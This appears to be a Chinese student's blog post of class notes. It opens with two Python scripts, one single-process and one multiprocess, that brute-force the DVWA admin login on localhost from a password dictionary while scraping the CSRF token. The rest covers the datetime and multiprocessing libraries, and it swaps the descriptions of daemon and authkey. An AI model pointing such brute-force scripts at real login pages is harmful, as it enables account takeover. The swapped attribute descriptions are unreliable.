记录一个多进程程序
今天上课学长给了两段代码,都是通过一个字典进行暴力破解密码的过程,一个是单进程,一个是多进程。
首先单进程的程序相对简单:
import requests
import re
s = requests.Session()
f = open("字典.txt", "r")
for password in f.read().split('\n'):
r = s.get("http://127.0.0.1/dvwa/")
token = re.search(r"'user_token' value='(.*)'", r.text).group(1)
#print(password)
payload = {"username":"admin", "password": password, "Login":"Login", "user_token": token}
r = s.post("http://127.0.0.1/dvwa/login.php", data=payload)
if("Welcome" in r.text):
print(password)
break
然后是多线程程序:
import requests
import re
import datetime
import multiprocessing
import os
process_num = 8
# 破解函数
def brute(dict, name):
t1 = datetime.datetime.now()
s = requests.Session()
for password in dict:
r = s.get("http://127.0.0.1/dvwa/")
result = re.search(r"'user_token' value='(.*)'", r.text)
if result:
token = result.group(1)
else:
continue
# print("[%s] %s" % (name, password))
payload = {"username": "admin", "password": password, "Login": "Login", "user_token": token}
r = s.post("http://127.0.0.1/dvwa/login.php", data=payload)
if ("Welcome" in r.text):
print("破解成功,密码为: ", password)
return True
t2 = datetime.datetime.now()
print("完成: %s" % (t2-t1))
return False
def callback(x):
if(x):
pool.terminate()
exit(-1)
if __name__ == '__main__':
f = open("字典.txt", "r")
text = f.read().split('\n')
dict = []
for i in range(process_num):
dict.append(text[i::process_num])
# 将暴力破解的密码分为8分,正好对应8个进程
print(dict)
pool = multiprocessing.Pool(process_num)
for i in range(process_num):
r = pool.apply_async(brute, (dict[i], i), callback=callback)
pool.close()
pool.join()
记录一下这段程序用到的新知识。
datetime库
这里参考了https://blog.csdn.net/lilongsy/article/details/80242427的文章
这个库和time库相似,都是用来记录时间的函数。
当前时间:
import datetime
print(datetime.datetime.now())
# 2019-04-07 10:33:26.915565
格式化时间:
import datetime
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M"))
# 2019-04-07 10:33
python中时间日期格式化符号
简写符号 | 代表意义 |
---|---|
%Y | 四位数的年份表示(000-9999) |
%y | 两位数的年份表示(00-99) |
%m | 月份(01-12) |
%d | 月内中的一天(0-31) |
%H | 24小时制小时数(0-23) |
%I | 12小时制小时数(01-12) |
%M | 分钟数(00=59) |
%S | 秒(00-59) |
还有很多,用到时再去查找官方文档。
推后一天:
import datetime
print(datetime.datetime.now()+datetime.timedelta(days=1)).strftime("%Y-%m-%d %H:%M:%S")
提前一天:
import datetime
print(datetime.datetime.now()+datetime.timedelta(days=-1)).strftime("%Y-%m-%d %H:%M:%S")
可以把days改为hours minutes,就可以提前XX小时/分钟了。
有人会问,那怎么怎么增加一个月或者减少一年???
可以通过时间代换,将月份或者年份转化为天数。。
(暂时没有想到好的方法)
Multiprocessing库
这里参考了https://blog.csdn.net/SeeTheWorld518/article/details/49639651的文章
这个模块表示像线程一样管理进程,这个是multiprocessing的核心,它与threading很相似,对多核CPU的利用率会比threading好的多。
看一下Process类的构造方法:
__init__(self, group=None, target=None, name=None, args=(), kwargs={})
-
参数说明:
group:进程所属组。基本不用target:表示调用对象。
args:表示调用对象的位置参数元组。
(开始没太理解这个是什么意思,后来看了代码就很容易理解了,就是构造一个元组,里面是要传递的位置参数,如果只有一个参数的时候要用
(x,)
,如果把这个逗号去了,就会报错,因为此时是变成了一个int型数据而不是tuple型数据)name:别名
kwargs:表示调用对象的字典。
-
实例方法:
is_alive():返回进程是否在运行。
join([timeout]):线程等待p终止(强调:是主线程处于等的状态,而p是处于运行的状态)。timeout是可选的超时时间,需要强调的是,p.join只能join住start开启的进程,而不能join住run开启的进程
start():启动进程,并调用该子进程中的run()
run():进程启动时运行的方法,正是它去调用target指定的函数,我们自定义类的类中一定要实现该方法
terminate():不管任务是否完成,立即停止工作进程,强制终止进程p,不会进行任何清理操作,如果p创建了子进程,该子进程就成了僵尸进程,使用该方法需要特别小心这种情况。如果p还保存了一个锁那么也将不会被释放,进而导致死锁
-
属性:
authkey : 默认值为False,如果设为True,代表p为后台运行的守护进程,当p的父进程终止时,p也随之终止,并且设定为True后,p不能创建自己的新进程,必须在p.start()之前设置
daemon:进程的身份验证键,默认是由os.urandom()随机生成的32字符的字符串。这个键的用途是为涉及网络连接的底层进程间通信提供安全性,这类连接只有在具有相同的身份验证键时才能成功(了解即可)
exitcode:进程在运行时为None、如果为–N,表示被信号N结束(了解即可)
name:进程名字。
pid:进程号。
创建进程的简单实例:
#coding=utf-8
import multiprocessing
def do(n,m) :
#获取当前线程的名字
name = multiprocessing.current_process().name
print(name,'starting')
print("worker ", n)
print("next_work is ",m)
return
if __name__ == '__main__' :
numList = []
for i in range(5) :
# 当只有一个传递参数时的写法,为了更好的体现出位置参数元组的用法,我改为两个传参
# p = multiprocessing.Process(target=do, args=(i,))
p = multiprocessing.Process(target=do, args=(i,i + 1))
numList.append(p)
p.start()
p.join()
print("Process end.")
创建子进程时,只需要传入一个执行函数和函数的参数,创建一个Process实例,并用其start()方法启动,join()方法表示等待子进程结束以后再继续往下运行,通常用于进程间的同步。
注意:
在Windows上要想使用进程模块,就必须把有关进程的代码写在当前.py文件的
if __name__ == ‘__main__’ :
语句的下面,才能正常使用Windows下的进程模块。Unix/Linux下则不需要。
Pool类
在使用Python进行系统管理时,特别是同时操作多个文件目录或者远程控制多台主机,并行操作可以节约大量的时间。如果操作的对象数目不大时,还可以直接使用Process类动态的生成多个进程,十几个还好,但是如果上百个甚至更多,那手动去限制进程数量就显得特别的繁琐,此时进程池就派上用场了。
Pool类可以提供指定数量的进程供用户调用,当有新的请求提交到Pool中时,如果池还没有满,就会创建一个新的进程来执行请求。如果池满,请求就会告知先等待,直到池中有进程结束,才会创建新的进程来执行这些请求。
下面介绍一下multiprocessing 模块下的Pool类下的几个方法
- apply()
函数原型:
apply(func[, args=()[, kwds={}]])
该函数用于传递不定参数,主进程会被阻塞直到函数执行结束(不建议使用,并且3.x以后不在出现)。
好吧,这个可以不用看了。。
等会,什么是组塞什么是非阻塞(看来我操作系统白学了)
阻塞和非阻塞关注的是程序在等待调用结果(消息,返回值)时的状态.
阻塞调用是指调用结果返回之前,当前线程会被挂起。调用线程只有在得到结果之后才会返回。
非阻塞调用指在不能立刻得到结果之前,该调用不会阻塞当前线程。
- apply_async()
函数原型:
apply_async(func[, args=()[, kwds={}[, callback=None]]])
与apply用法一样,但它是非阻塞且支持结果返回进行回调。
- map()
函数原型:
map(func, iterable[, chunksize=None])
Pool类中的map方法,与内置的map函数用法行为基本一致,它会使进程阻塞直到返回结果。
注意,虽然第二个参数是一个迭代器,但在实际使用中,必须在整个队列都就绪后,程序才会运行子进程。
- close()
关闭进程池(pool),使其不在接受新的任务。
- terminate()
结束工作进程,不在处理未处理的任务。
- join()
主进程阻塞等待子进程的退出,join方法必须在close或terminate之后使用。